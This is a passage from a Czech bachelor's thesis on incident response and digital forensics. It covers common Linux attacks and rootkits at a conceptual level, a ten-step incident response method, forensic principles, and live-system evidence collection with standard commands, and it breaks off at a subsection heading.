Jihočeská univerzita v Českých Budějovicích

Přírodovědecká fakulta

Reakce na incidenty a forenzní analýza

Bakalářská práce

Jan Houška

Školitel: Ing. Jaroslav Kothánek, Ph.D.

Konzultant: Ing. Petr Břehovský

České Budějovice 2012

Bibliografické údaje

Jan Houška, 2012: Reakce na incidenty a forenzní analýza

[Incident Response and Digital Forensics. Bc. Thesis, in Czech.] – 47 p. (počet stran), Faculty of Science, The University of South Bohemia, České Budějovice, Czech Republic

Anotace

Bakalářská práce „Reakce na incidenty a forenzní analýza“ analyzuje problematiku forenzní analýzy digitálních dat. V první části práce budou popsány základní typy útoků na ICT, možnosti jejich odhalení a způsoby, jak se jim bránit. Velká pozornost bude věnována forenzní duplikaci, tedy zajištění obrazu disku, jakožto nejdůležitějšímu prvku forenzního zkoumání. Dále budou popsány technické možnosti forenzních nástrojů, které budou následně demonstrovány při odhalování simulovaného incidentu.

Abstract

The thesis ‚Incident Response and Digital Forensics‘ analyses the issue of digital forensics. The elementary types of ICT attacks, the possibilities of their detection and the means of defence will be described in the first part. A great deal of attention will be paid to forensic duplication, i.e. securing the disk image, as it is the most important element of forensic investigation. Then the technical capabilities of forensic tools will be described. These will be afterwards demonstrated in the process of detection of a simulated incident.

Klíčová slova:

digitální forenzní analýza, reakce na incidenty, bitová kopie

Keywords:

Digital Forensics, Incident Response, Image

Prohlašuji, že svoji bakalářskou práci jsem vypracoval samostatně pouze s použitím pramenů a literatury uvedených v seznamu citované literatury.

Prohlašuji, že v souladu s § 47b zákona č. 111/1998 Sb., v platném znění, souhlasím se zveřejněním své bakalářské práce, a to v nezkrácené podobě, elektronickou cestou ve veřejně přístupné části databáze STAG provozované Jihočeskou univerzitou v Českých Budějovicích na jejích internetových stránkách, a to se zachováním mého autorského práva k odevzdanému textu této kvalifikační práce. Souhlasím dále s tím, aby toutéž elektronickou cestou byly v souladu s uvedeným ustanovením zákona č. 111/1998 Sb., zveřejněny posudky školitele a oponentů práce i záznam o průběhu a výsledku obhajoby kvalifikační práce. Rovněž souhlasím s porovnáním textu mé kvalifikační práce s databází kvalifikačních prací Theses.cz provozovanou Národním registrem vysokoškolských kvalifikačních prací a systémem na odhalování plagiátů.

V Českých Budějovicích, dne 9.12.2012

Podpis……

Poděkování

Zde bych velice rád poděkoval panu Ing. Jaroslavu Kothánkovi, Ph.D. za odborné vedení, ochotu a konzultace při realizaci této práce a panu Ing. Petru Břehovskému za jeho konzultace.

Obsah

1 Úvod a cíle práce

1.1 Úvod

V dnešní době, kdy se útoky na počítačové systémy stávají každodenní rutinou, je nutné, aby každý administrátor znal alespoň základní druhy těchto útoků, věděl, jakým způsobem mohou škodit, jak je odhalit a bránit se proti nim, případně jaké má technické a legislativní možnosti řešení.

Aktuálnost tématu dokládá počet útoků na počítačové systémy, který rok od roku narůstá. Tento fakt je dokládán studií Second Annual Cost of Cyber Crime Study[1]. Z této studie vyplývá, že během jednoho měsíce se zúčastněné organizace potýkaly průměrně se 72 úspěšnými útoky týdně, tedy o 45 % více než v minulém roce, a roční náklady spojené s útoky činily 5,9 milionů dolarů, tedy o 56% více.

Nejedná se ale pouze o počítačové útoky, ale i o zneužití počítačové techniky k páchání trestných činů, které s počítači více či méně souvisejí. Policejní vyšetřovatelé, technici a soudní znalci se běžně setkávají s mravnostní trestnou činností, násilnou trestnou činností, paděláním a pozměňováním, vydíráním, porušováním autorských práv atd.

Tato práce se zabývá forenzní analýzou digitálních dat a měla by přispět k orientaci v oblasti reakce na incidenty a v problematice digitální forenzní analýzy. Jsou zde popsány nástroje pro analýzu forenzního duplikátu disku, jakožto důkazního materiálu při vyšetřování trestné činnosti.

1.2 Cíle práce

- Analýza základních druhů útoků a možností jejich řešení, dále provést rešerši metodologie reakce na incident.
- Zaměřit se na problematiku digitální forenzní analýzy, nástrojů k tomu určených a popsat metody zajištění důkazů.
- Analyzovat možnosti získání relevantních dat a následně navrhnout postup k jejich získání, který bude následně otestován na simulovaném incidentu.

2 Základní typy útoků na OS Linux

Na začátku bych chtěl upozornit, že problematika útoků na ICT je velice rozsáhlá a cílem práce není popsat všechny možnosti a způsoby útoků. Spíše bych chtěl upozornit na základní a nejjednodušší typy útoků, se kterými je možné se setkat.

Autoři publikace[4] uvádějí, že útoky na operační systémy Unix a Linux lze rozdělit do dvou základních skupin. *Vzdálený přístup* a *lokální přístup*. *„Vzdálený přístup je definován jako přístup prostřednictvím sítě (přes naslouchající službu) nebo jiného komunikačního kanálu. Lokální přístup je přístup k systému prostřednictvím příkazové řádky nebo loginu.“*[4]

Jak autoři uvádějí, lokální přístup je logickým pokračováním vzdáleného přístupu, kdy útočník zneužije chyby ve vzdáleném přístupu a získá přístup k příkazovému řádku. Získáním příkazového řádku se útočník stává lokálním uživatelem systému.

Základním typem průniku prostřednictvím sítě do linuxového systému je zneužití naslouchající služby. K tomu lze využít některou ze služeb, které umožňují vzdálené přihlášení do systému. Útočník se může pokusit získat jméno a heslo uživatele. Nejčastěji se jedná o služby telnet, ssh, rlogin nebo ftp.

V případě nezabezpečeného (nešifrovaného) spojení (služba telnet, ftp) je možné přenášené informace odposlechnout. Proto se v dnešní době služba telnet již nevyužívá a byla nahrazena službou ssh, jejíž přenos již probíhá šifrovaně.

Další z možností, jak získat uživatelské jméno a heslo k některé ze zmíněných služeb, je možnost útoku hrubou silou. Jedná se o základní formu útoku, která může být velice nebezpečná. Útok spočívá v uhádnutí jména a hesla. K tomu se nejčastěji používají specializované nástroje, jako např. Hydra. Tento program pak odesílá požadavky k přihlášení a zkouší uhádnout přístupové heslo testováním všech možných kombinací. Program Hydra také umožňuje použití slovníků (textové soubory), které obsahují kombinace nejčastěji používaných hesel. V kombinaci s anonymizérem je pak velmi obtížné útočníka identifikovat.

Obranou proti útokům hrubou silou je pak používání silných nebo jednorázových hesel. Důležité je také logovat nepovedené pokusy o přihlášení a služby nastavit tak, aby po určitém počtu špatně zadaných hesel byl účet zablokován nebo aby další pokus o přihlášení byl možný až za několik minut.

Dalším nebezpečným způsobem, jak lze získat uživatelské jméno a heslo, je využití metod sociálního inženýrství. Přesvědčí-li útočník pod jakoukoli záminkou uživatele, aby mu prozradil své heslo nebo do systému nainstaloval škodlivý kód, nemusí se již dalšími možnostmi útoku zabývat.

Cílem útočníka je tedy zpravidla získání přihlašovacího jména a hesla, nejlépe uživatele s administrátorskými právy. Získání těchto údajů je pak pouhým začátkem. Po vniknutí do systému útočník může získat důležitá nebo citlivá data, systém vyřadit z provozu nebo systém později využít k dalšímu útoku. V tomto případě pak zpravidla nainstaluje rootkit, kterým je věnována následující kapitola.

2.1 Rootkity

Rootkitem se rozumí sada nástrojů, která útočníkovi umožňuje skrytou kontrolu nad napadeným systémem. Rootkity mohou skrývat nebo modifikovat síťová spojení, soubory a procesy, které mohou prozradit útočníka. Existuje několik typů rootkitů, pro tuto práci však postačí popsat aplikační a kernelové. Více informací o dalších typech rootkitů lze nalézt zde[5].

2.1.1 Aplikační rootkity

Aplikační rootkity (Binary Rootkits) se v dnešní době už tolik neobjevují a to díky jejich snadné detekci. Principem aplikačních rootkitů je nahrazení systémových programů jejich upravenými (trojanizovanými) verzemi, které znemožňují odhalení útočníka. Jedná se zejména o programy *ps*, *ls*, *find*, *ifconfig*, *netstat*, *syslog*, *cron* atp.

Detekce takovéhoto rootkitu je poměrně snadná. Stačí vygenerovat *md5 hashe* klíčových souborů a porovnat je s těmi, které jsme udělali ihned po instalaci systému, tedy tehdy, kdy bylo jisté, že je systém v pořádku. Pokud se hashe liší, je něco v nepořádku. Existuje nástroj *tripwire*, který sám tyto hashe kontroluje pravidelně a automaticky.

2.1.2 Kernelové rootkity

Na rozdíl od aplikačních rootkitů, které jen nějakým způsobem změní jednotlivý program, kernelové rootkity modifikují jádro operačního systému, takže není nutné upravovat jednotlivé programy.

Při útoku je zneužit mechanismus dynamicky připojovaných modulů LKM (Loadable Kernel Module). Díky tomuto mechanismu je možno přidávat nové funkce jádra připojením dynamického modulu. Odpadá tedy nutnost vytváření nového jádra přeložením zdrojových kódů. LKM je využíváno v mnoha variantách operačního systému Unix, Linux, FreeBSD či Solaris. [4]

LKM rootkity fungují na jednoduchém principu. Připojí modul do jádra a změní důležitá systémová volání (syscalls) tak, aby reagovala na příkazy jiným způsobem. Na tomto principu pracovaly rootkity *Knark* a původní *Adore*. Detekce těchto rootkitů je možná pomocí programů *rkhunter* a *chkrootkit*.

Rootkity často také obsahují další škodlivé programy, jako sniffery, keyloggery a logsweepery. Nebezpečnou součástí mnoha rootkitů jsou backdoory, které mohou pomoci k opětovnému vniknutí do systému.

2.1.3 Backdoor

Backdoor, nebo-li „zadní vrátka“, je program, který útočníkovi umožňuje opětovně se dostat do systému, aniž by znovu riskoval útok. Jedná se o obejití standardního autentizačního mechanizmu, nejčastěji za pomoci pozměněné síťové aplikace. Ty pak mohou reagovat na nestandardní podnět, jako je poškozený nebo modifikovaný paket. Jako zadní vrátka nemusí být použit pouze program primárně k tomu určený. Často se k tomuto účelu používá program *Netcat*.

2.1.4 Sniffer

Sniffer je velice často součástí rootkitu. Jedná se o program, který odposlouchává provoz na síti. Původně vznikly jako nástroje k analýze síťových problémů. Velice často slouží k zachytávání citlivých údajů, jako jsou jména a hesla z nešifrovaných protokolů. Populárními sniffery jsou programy *Sniffit*, *tcpdump*, *Snort* a *Ethereal*.

Aby sniffer pracoval efektivně, tedy odposlechl i pakety, které nejsou určené pro síťovou kartu infikovaného počítače, musí síťová karta pracovat v tzv. promiskuitním režimu. Pak lze odposlouchávat veškeré pakety, které se nacházejí na stejném segmentu. Že je karta přepnuta do promiskuitního režimu, může být tedy známkou toho, že je něco v nepořádku. [4]

2.1.5 Keylogger

Keylogger zachytává stisknuté klávesy a ukládá je do souboru nebo je rovnou posílá po síti. Jeho pomocí je pak opět snadné odhalit citlivé údaje a aktivity uživatele.

3 Reakce na incident

Aby bylo možné pokračovat, je důležité vysvětlit termín Incident. Chris Prosise a Kevin Mandia[2] jej definují takto*: „Incidenty jsou události, které způsobí přerušení obvyklé funkce systému a vedou k té či oné formě krize.“* V těchto případech se nejčastěji jedná o průniky do systémů, krádeže informací a jakékoli neautorizované nebo nezákonné činnosti v prostředí počítačových sítí. Tyto situace pak žádají zásah administrátora nebo vyšetřovatele počítačové kriminality.

Největším problémem pro formulaci jakékoliv reakce na incident je, že žádné incidenty nejsou absolutně totožné a proto na ně nelze reagovat stejným způsobem. *Každý incident je charakterizován svou intenzitou, dobou trvání a mírou omezených prostředků*.[2]

Termínem „Reakce na incident“ tedy rozumíme soubor činností, které je třeba vykonat při pouhém podezření nebo objevení incidentu. Existuje řada manuálů převážně vytvořených pro použití ve vlastní organizaci, případně se jedná o doporučené metodologie. Jako příklad je možné zmínit First Responders Guide to Computer Forensics [3].

Každá reakce na incident by měla potvrdit, nebo vyvrátit, zda k incidentu opravdu došlo. Pokud se potvrdí, je nutné shromáždit přesné informace, co se vlastně stalo, a zajistit důkazy pro orgány činné v trestním řízení. Následně pak minimalizovat následky incidentu pro organizaci a umožnit stíhání útočníků. Výsledkem by pak neměl být jen původní, nebo lepší stav systému, než před incidentem, ale i poučení.

3.1 Metodologie reakce na incident

Chris Prosise a Kevin Mandia [2] definují reakce na incident jako soubor deseti po sobě jdoucích kroků, kterým bude věnována tato kapitola. Jedná se o:

- Příprava na incident
- Detekce incidentu
- Počáteční reakce
- Formulace strategie reakce na incidenty

- Forenzní duplikace kritických dat
- Pátrání
- Monitorování sítě
- Obnova
- Protokolování
- Poučení

Celý tento postup vypadá logicky a uceleně. Jak ale autoři dodávají, musí být počítáno s jedinečností každého incidentu. Je možné, že se v praxi zkušený vyšetřovatel bude řídit dle vlastních zkušeností a nebude se některými kroky zdržovat. Je však nutné poznamenat, že by se mělo dodržet pořadí těchto kroků.

Dalším problémem, který může nastat, je, že přesné dodržení tohoto postupu může být pro organizaci z technického nebo ekonomického hlediska nepřípustné. Jedná se o případy omezení činnosti, omezení či nedostupnosti služeb, zpomalení výroby atp.

Ing. Marián Svetlík ve svém článku[6] uvádí, že při reakci na incident je nutno se rozhodovat a konat ve dvou úzce propojených rovinách. První je *„rovina funkční“*, jejímž hlavním cílem je incident včas a správně identifikovat, analyzovat a zamezit jeho šíření. Následuje pak obnovení funkčnosti a poučení. Druhá je *„rovina finanční“*. Jakýkoliv incident má dopad na organizaci nejen co se týká funkčnosti, ale způsobuje přímé i nepřímé ztráty. Proto je při reakci nutno brát v potaz také ekonomickou stránku problému. Tedy že odstavení systému, byť na krátkou dobu, může být pro organizaci nepřípustné.

V další části této kapitoly budou jednotlivé kroky metodologie reakce na incident stručně popsány.

3.1.1 Příprava na incident

„Základním cílem přípravy je vybudování infrastruktury, která je schopná rychle a efektivně reagovat na problémy, které nastanou po vzniku incidentu.“[2]

Jedná se o velice rozsáhlou problematiku, která zahrnuje přípravu jednotlivých počítačů, přípravu a monitoring sítě, implementaci bezpečnostní

politiky, přípravu nástrojů pro reakci a sestavení týmu, který se incidenty bude zabývat.

3.1.2 Detekce incidentů

„Detekce je prvním aktivním krokem v reakci na incident. V tomto kroku vznikne poprvé podezření, že došlo k incidentu.“[2]

Podezřelé aktivity mohou být zaznamenány technickými prostředky. Např. systémem IDS (Intrusion Detection Systems – systémy detekce průniků) nebo firewallem. Více o IDS v [10]. Neobvyklé chování systému mohou zaznamenat běžní uživatelé – nedostupnost některých služeb, chybějící soubory atp.

Nezávisle na tom, jak byl systém detekován, je nutné zaznamenat veškeré dostupné údaje. Zejména:

- kdo incident nahlásil
- aktuální čas a datum
- popis incidentu
- jak a kdy byl incident detekován

3.1.3 Počáteční reakce

„V tomto okamžiku je tým sestaven a má první informace o incidentu. Musí prozkoumat všechny okolnosti a detaily související s případem. Tyto okolnosti jsou klíčovým faktorem, určujícím, jak bude na incident týmem reagováno a jak budou napraveny jeho důsledky“[2]

Jestliže se organizace stane obětí, má několik možností jak pokračovat. Může se bránit proti dalším útokům, následně pak spolupracovat s orgány činnými v trestním řízení a pomoci odhalit a potrestat útočníka, ale také incident zcela ignorovat. Rozhodnutí závisí na rozhodnutích, která musejí zohlednit dopad incidentu na organizaci, právní otázky, vliv na reputaci organizace a její technické možnosti.

3.1.4 Formulace strategie reakce na incidenty

„Cílem formulace reakce je definování nejvhodnější reakce za daných podmínek.“[2]

Podle informací, které byly získány do této doby, je nutné zvolit nejlepší možnou strategii. Je nutné zohlednit časovou náročnost, dostupnost služeb - zda odpojit napadený systém ze sítě, nebo ho nechat připojený atp. Analýza připojeného systému je složitější a zároveň je podstupováno riziko rozšíření incidentu, případně výskyt incidentu nového.

Zvolená strategie musí zohledňovat jak technické tak ekonomické faktory a její důsledky se mohou dotýkat nejen zaměstnanců, ale také zákazníků. Proto je nutné, aby byl postup schválen vrcholovým managementem.

3.1.5 Forenzní duplikace kritických dat

„Provádí se v případech, kdy útok způsobí závažné škody, nebo může vést k uvěznění útočníka.“ [2]

Jedná se v podstatě o zajištění důkazů. V tomto kroku je nutné rozhodnout, zda bude vytvořena kopie zkoumaného média, nejčastěji disku, které potom použijeme k analýze incidentu, popřípadě budou-li data získána přímo. Nutné je také získání nestálých dat a je nutné postupovat tak, aby byla zachována integrita a neporušenost důkazů.

3.1.6 Pátrání

„Fáze vyšetřování si klade za cíl zjistit kdo, co, kdy, kde a jak měl s daným incidentem souvislost.“[2]

V této fázi je provedena analýza dat. Jsou analyzovány živé systémy, duplikáty systémů, případně výsledky monitoringu sítě. Je nutné postupovat tak, aby byla zachována integrita a neporušenost dat, která mohou být použita jako důkazy v soudním řízení, a celý postup vyšetřování pečlivě zdokumentovat.

Klíčovým cílem této fáze je identifikace pachatele. Ta ovšem může být tak časově a technicky tolik náročná, že na ni organizace může předem rezignovat a soustředit se pouze na nápravu.

3.1.7 Monitorování sítě

„Monitorování sítě je jednou z nejdůležitějších činností, podmiňující zdárné dokončení pátracího a obnovovacího procesu.“[2]

Ve většině případů se s monitoringem začne již při podezření na incident a neměl by končit dřív, než dojde k plnému zotavení systému. Cílem této fáze není jen sledování útočníka a získání dalších důkazů pro jeho obvinění, ale je nutné se ubezpečit, že je systém opět plně bezpečný.

3.1.8 Obnova

„Cílem fáze obnovy je uvést relevantní systémy do stavu zabezpečené provozuschopnosti.“[2]

Základním pravidlem při obnově systému je, že obnova by měla být provedena z média, o kterém stoprocentně víme, že je bezpečné. Pokud obnovujeme systém z průběžné zálohy, toto pravidlo platí dvojnásob. Bezprostředně po obnově, ještě před připojením do sítě, musí být systém nakonfigurován a zabezpečen tak, aby se incident nemohl opakovat. Je nutné nainstalovat nejnovější aktualizace a bezpečnostní záplaty, vypnout nepotřebné služby, nasadit silná hesla apod.

3.1.9 Dokumentace

„Incidenty vždy vyvolají spoustu paniky a aktivity. A jednou z největších chyb, které se v těchto případech můžete dopustit, je neadekvátní dokumentace.“[2]

Cílem dokumentace je kompletní zdokumentování průběhu reakce na incident. Zanedbání může mít fatální následky. Dokumentace může mít přímý vliv na kariéru - propuštění zaměstnance. Tato dokumentace také může sloužit jako důkazní materiál při soudním řízení.

3.1.10 Poučení

„Analyzovat celý proces případu, poučit se z chyb a napravit všechny bezpečnostní nedostatky systému.“[2]

Ačkoli se to na první pohled nemusí zdát, významným přínosem je zkušenost, kterou může tým uplatnit při další reakci na další incident.

4 Digitální forenzní analýza

4.1 Co je Digitální forenzní analýza?

Co je digitální forenzní analýza? *Digitální forenzní analýza* nebo *také Forenzní analýza digitálních dat*, patří do široké skupiny forenzních věd. Tyto vědy se aplikují při vyšetřování a dokazování trestných činů. Jak uvádí Ing. Marián Svetlík: *„Obecně jsou tyto vědy charakteristické tím, že se jedná o specifické (forenzní) aplikace „standardních" vědních oborů (např. soudní psychologie) nebo o samostatné forenzní disciplíny (např. daktyloskopie).*[6]

Michale A. Coloaynnides[7] definuje digitální forenzní analýzu jako soubor technik a nástrojů používaných pro hledání důkazů na počítači, které mohou být použity v uživatelův neprospěch.

Takto získané důkazy ani nemusejí přímo souviset s počítačovou kriminalitou. Při vyšetřování násilné trestné činnosti, krádeží, podvodů, padělání a pozměňování, vydírání, mravnostní trestné činnosti, tam všude lze aplikovat digitální forenzní analýzu pro získání důkazů.

Nejčastěji jsou tato data nacházena na záznamových mediích v podobě souborů (platná data), smazaných souborů (neplatná data), v podobě fragmentů dat (částečně přepsané soubory), dále pak v podobě dat dočasně uložených v operační paměti nebo v podobě záznamů běžících služeb (logů).

Aby analýza digitálních dat mohla být považována za forenzní, musí splňovat obecné podmínky (zásady) forenzního zkoumání. (viz. kapitola Zásady digitální forenzní analýzy).

4.2 Zásady digitální forenzní analýzy

Je nutné uvést, že všechny tyto zásady nejsou v České republice nikde právně definovány a vychází pouze z *„best practise"* a ze zahraničních doporučení. Pouze *podjatost* je definována Zákonem o znalcích a tlumočnících (č. 36/1967 Sb.) jako možnost, pro kterou je možné znalce ze zkoumání vyloučit.[6]

4.2.1 Legalita

„tj. veškeré informace, stopy, vzorky, předměty, dokumenty atp., které slouží jako zdroj/vstup DFA, metody a způsoby zpracování, a tedy i výstupy DFA musí být získány, pořízeny a zhotoveny legálním způsobem.“[6]

4.2.2 Integrita

„tj. vše, co bylo prováděno, veškeré způsoby práce se vstupními informacemi (stopy, vzorky...), musí být prováděno způsobem, ze kterého je jednoznačně jasné, že nemohlo dojít k úmyslné nebo neúmyslné manipulaci nebo změně, kdo, kdy, kde, jak a proč s nimi co dělal apod.“ [6]

4.2.3 Opakovatelnost

„tj. použití takových způsobů práce a jejich dokumentace tak, aby metody mohly být opakovaně provedeny stejným způsobem, čímž by se ověřilo, zda se dospěje ke stejným závěrům, nebo aby pomocí jiných ekvivalentních metod (pokud existují) mohla být správnost závěrů ověřena.“ [6]

4.2.4 Nepodjatost

„nezávislost subjektu provádějícího forenzní činnosti na zkoumaném předmětu nebo objektu.“ [6]

4.2.5 Detailní dokumentace

„Neodmyslitelným atributem, který podmiňuje všechny výše uvedené, je detailní dokumentace. Bez ní by bylo obtížné prokázat nejen faktické závěry, ale i to, že výše uvedené atributy byly bezezbytku naplněny.“[6]

4.3 Operační systém pro digitální forenzní analýzu

Pro digitální forenzní analýzu je nejčastěji, díky několika svým vlastnostem, používán operační systém Linux. Zejména proto, že umožňuje připojit vyšetřované médium, aniž by na ně provedl zápis – je *neinvazivní*. Tato vlastnost je klíčová pro digitální forenzní analýzu. Modifikace vyšetřovaného disku je vysoce nežádoucí z důvodu znehodnocení důkazů.

Díky *loopback* Linux umožňuje připojit regulární soubor jako zařízení. Díky této vlastnosti lze tedy připojený soubor analyzovat. Dále podporuje velké množství souborových systémů a je tak možno analyzovat širokou škálu zařízení.

Použití operačního systému Windows k digitální forenzní analýze je možné jen za použití speciálního hardwarového prostředku (*blokátoru*). Toto umožňuje připojit pevný disk k vyšetřovací stanici a zabraňuje automatickému zapsání informací na připojený vyšetřovaný disk. Tato metoda se však v praxi nedoporučuje.

4.4 Metodika digitální forenzní analýzy

4.4.1 Zajištění vyšetřovaného zařízení

Bude-li zajištění provádět administrátor nebo bezpečnostní zaměstnanec organizace znalý prostředí, tuto fázi může vynechat.

V případě, že se policejní vyšetřovatel nebo soudní znalec chystá zajistit jako důkaz celý počítač, je dobré celý počítač nafotit a zdokumentovat, co je fyzicky připojeno. Dále je dobré se přesvědčit, zda se ve skříni počítače nenachází nepřipojený pevný disk, na kterém by se mohly nacházet důkazy.

Po kontrole a dokumentaci by měl být počítač pečlivě zabalen a zapečetěn, aby se zabránilo nejen možné manipulaci s důkazy, ale také proto, aby důkazy nemohly být při soudním řízení označeny za zmanipulované.

4.4.2 Zajištění stop

Při zajišťování dat z vyšetřovaného počítače vyšetřovatele zajímají dva typy dat, které je nutné zajistit:

- Nestálá data
- Data na pevném disku

Zatímco nestálá data (přihlášení uživatelé, aktuálně běžící procesy, síťová přepojení atp.) je možno zajistit jen pokud je zařízení zajištěno zapnuté, data, která se nacházejí na pevném disku, je možné zajistit i pokud je zařízení vypnuto. Pro následující vyšetřování je pak vytvořen forenzní duplikát (*bitová kopie disku*) a pátrání je prováděno na něm. Této problematice je věnována samostatná kapitola.

4.4.3 Pátrání

Pokud byla zajištěna nestálá data, je nutné provést jejich analýzu a pokusit se najít důkazy v nich. Dále je nutné provést důkladnou analýzu zajištěné bitové kopie disku. Na ní je možno nalézt tři typy dat:

- Platná data - soubory
- Neplatná data – smazané soubory
- Fragmenty – částečně přepsané smazané soubory

Zatím co s prohlížením a analýzou platných dat by neměly být žádné problémy a lze k tomuto účelu použít jen základní nástroje systému Linux, pro získání a analýzu smazaných souborů nebo jejich fragmentů je nutné použít specializované nástroje.

4.4.4 Dokumentace

Výsledky, které přinese digitální forenzní analýza, musí být nějakým způsobem zadokumentovány, aby bylo možné je prezentovat. V případě analýzy samotnou organizací může být výstupem vyplněný formulář organizace, který by měl obsahovat informace o zjištěných skutečnostech a následcích, které mohou organizaci čekat. Dále by měl obsahovat kdo, jak a kdy analýzu prováděl. Výsledek by pak měl být prezentován vedení. Je nutné zmínit, aby výsledek byl prezentován v takové formě, který je srozumitelný i pro méně znalého člověka.

Je-li digitální forenzní analýza prováděna soudním znalcem, výsledkem bude *znalecký posudek*. Znalecký posudek podléhá zákonu o Znalcích a tlumočnících (č. 36/1967 Sb.).

Další možností je tzv. *odborné vyjádření*. To už zákonu o znalcích a tlumočnících nepodléhá a jeho autorem může být jak soudní znalec, tak fyzická či právnická osoba, která má potřebné odborné předpoklady. V rámci dokazování u soudu má pak odborné vyjádření povahu listinného důkazu.

5 Zajištění stop

Tato kapitola si klade za cíl seznámit čtenáře s postupem zajišťování stop. Inspiruje se zejména postupy, které jsou používány policií a soudními znalci v České republice. Popisuje techniky zajišťování dat, které mohou být použity i v soukromém sektoru pro případné předání orgánům činným v trestním řízení.

Správné zajištění stop je pro následující vyšetřování zásadní. Pokud zajištění stop neproběhne správně, může dojít nejen ke znehodnocení nebo zničení důkazů, ale získané důkazy mohou být při soudním řízení zpochybněny. To pak může mít za následek i neodsouzení pachatele.

V praxi se při zajišťování stop, co by důkazního materiálu, setkáváme se dvěma zcela odlišnými pohledy na postup.

První, a také starší, pohled na postup uvádí, že ihned po zjištění incidentu nebo zajištění počítače policií, by měl být systém vypnut (odpojen z napájení). Pokud však bude postupováno tímto způsobem, je nutno poznamenat, že přijdeme o tzv. *dočasná data*.

Při druhém postupu zůstává systém v provozu do té doby, dokud není odborně zajištěn. Tato je metoda nazývána *analýza živého systému.* Zde ovšem riskujeme, že se incident rozšíří nebo pachatel stačí zničit všechny stopy a o případné důkazy přijdeme. Volba postupu je tedy otázkou taktiky, kterou zvolí policejní vyšetřovatelé nebo bezpečnostní technik organizace.

Je také nutno podotknout, že velkou roli při zajišťování počítačové techniky hraje i fakt, zda-li je počítač či server v roli oběti, nebo podezřelého. Pokud je např. uživatel počítače obětí vydírání, policejní technik nebo soudní znalec obvykle zajistí počítač zapnutý.

Pokud je však v rámci vyšetřování provedena domovní prohlídka u podezřelého, je pak otázkou taktiky zásahu, zda-li bude počítač vypnut či nikoliv. Zde je důležitým faktorem, o jaký trestný čin se jedná, tedy jestli počítačová technika přímo souvisí s důvodem k domovní prohlídce. Pokud souvisí a je počítač v provozu, bude zajištěn zapnutý.

Nejedná-li se o kriminalitu přímo související s počítačovou technikou, policie by i tak měla zajistit počítačovou techniku a podrobit ji forenzní analýze pro případ, že se v ní nachází důkazy, jako např. fotografie, emaily či jiná komunikace. V tomto případě už nejspíš není nutné provádět analýzu živého systému.

Důležitým rozhodnutím pak také zůstává, zda odpojit napadený systém ze sítě. *„Některé rootkity dokáží rozpoznat, zdali je systém k síti připojen a v případě odpojení spustí jakousi autodestrukci (říká se tomu deadman switch), která odstraní stopy po útočníkovi a to může hledání důkazů ztížit nebo úplně znemožnit. Pokud však systém odpojen nebude, nemůžeme zajistit časovou integritu – útočník může nekalou činnost provádět dál. Na druhou stranu, při neodpojení, mohou být sledovány útočníkovy kroky.“* [11]

Postup zajištění vyšetřovaného zařízení, ať serveru či počítače, a forenzní analýzy však zůstává stejný. Jediným rozdílem může být již zmíněná analýza běžícího systému.

5.1 Získávání nestálých dat

Na začátek této kapitoly je nutné poznamenat, že až do tohoto bodu nebylo nutné rozlišovat mezi používanými operačními systémy. Od této chvíle se však práce bude věnovat pouze operačním systémům Linux, konkrétně distribuci Ubuntu ve verzi 10.04.4 LTS(více na [8]).

Chris Prosise a Kevin Mandia [2] uvádějí, že získávání nestálých dat, tedy *analýza živého systému*, je nezbytná pouze tehdy, když existují známky zrovna probíhajícího útoku ze sítě. Jak dodávají, je to dáno tím, že tento postup je technicky mnohem náročnější než analýza duplikátu systému (viz. kapitola 5.2), a proto ji doporučují pouze zkušeným vyšetřovatelům.

Autoři[2] dále uvádějí kroky, které by měly být provedeny pro zajištění živých dat z napadeného systému. Jedná se o použití alespoň těchto příkazů:

- bash, sh -pro vytvoření nového shellu
- date – pro zaznamenání systémového data
- w – pro zaznamenání přihlášených uživatelů

- netstat –anp - pro zaznamenání otevřených socketů
- lsof – zaznamenání seznamu procesů, které sockety otevřely
- ps – pro zaznamenání běžících procesů
- netstat – pro přehled připojených systémů
- skript, vi, history - pro zaznamenání provedených kroků

Důležitou součástí je už dříve zmíněná podrobná dokumentace. Díky ní lze pak později identifikovat vyšetřovatelem provedené změny.

Problémem tohoto postupu je však fakt, že pokud byl systém napaden a útočníkovi se podařilo nainstalovat rootkit, je velice pravděpodobné, že právě tyto příkazy nebudou pracovat správně. Proto je nutné se řídit zásadou, že vyšetřovanému systému by se mělo věřit co nejméně. Druhou, neméně důležitou zásadou, je, že do běžícího systému by se mělo zasahovat co nejméně, aby bylo možné zachovat maximum důkazů.

Josef Kadlec[11] ve své práci uvádí možnost, jak tento problém vyřešit. Jde o to, vytvořit si vlastní forenzní sadu nástrojů. Tato sada bude obsahovat výše zmíněné nástroje a popřípadě i nějaké další. Tyto programy musí být staticky zkompilovány, aby byla zaručena jejich nezávislost na sdílených knihovnách napadeného systému. Tato sada je pak umístěna na flashdisk nebo jiné médium, které je možné připojit ke zkoumanému počítači. Více o kompilaci nástrojů je možno nalézt v [2].

Toto médium je pak možné připojit ke zkoumanému systému a pomocí nástrojů zajistit nestálá data. Je nutné být přihlášen do systému jako superuživatel (root).

Aktuálně je však možnost použití tohoto balíku značně problematická. Tato doporučení pochází z doby, kdy se vyšetřovatelé setkávali s aplikačními rootkity. V dnešní době, kdy rootkity umožňují modifikaci jádra, výsledky získané touto metodou nemusejí odpovídat skutečnosti.

5.2 Metodika získávání nestálých dat

Nejlepším způsobem, jak zajistit získaná data, je uložit je na externí médium. Je také možné data bezpečně přenést po síti do tzv. vyšetřovací stanice. Jedná se

o počítač používaný pro vyšetřování. V některých případech to může být také jediná možnost, jak data zajistit, z důvodu absence cd-mechaniky. Pro posílání dat po síti je možno použít program *netcat*. Více o posílání důkazů po síti v [11].

Chris Prosise a Kevin Mandia [2] definují základní kroky, které by měly být provedeny před duplikací systému. Jedná se postup, který nám zajistí získání nestálých dat. V další části této kapitoly budou jednotlivé kroky stručně popsány.

5.2.1 Záloha operační paměti

Pro zajištění maxima dat se doporučuje provést zálohu a následnou analýzu paměti RAM. Dalším místem, kde by se mohla nacházet další data, je diskový oddíl SWAP. Tato problematika je však velmi rozsáhlá a byla by nad rámec této práce. Pokládám však za nutnost tuto možnost zmínit.

5.2.2 Spuštění důvěryhodného příkazového řádku.

Ke konzoli napadeného systému je nutné se přihlásit lokálně, aby nebyl vytvářen zbytečný síťový provoz. Je možné připojit CD nebo flashdisk s forenzním toolkitem a poté spustit důvěryhodný příkazový řádek.

5.2.3 Kdo je v systému přihlášen

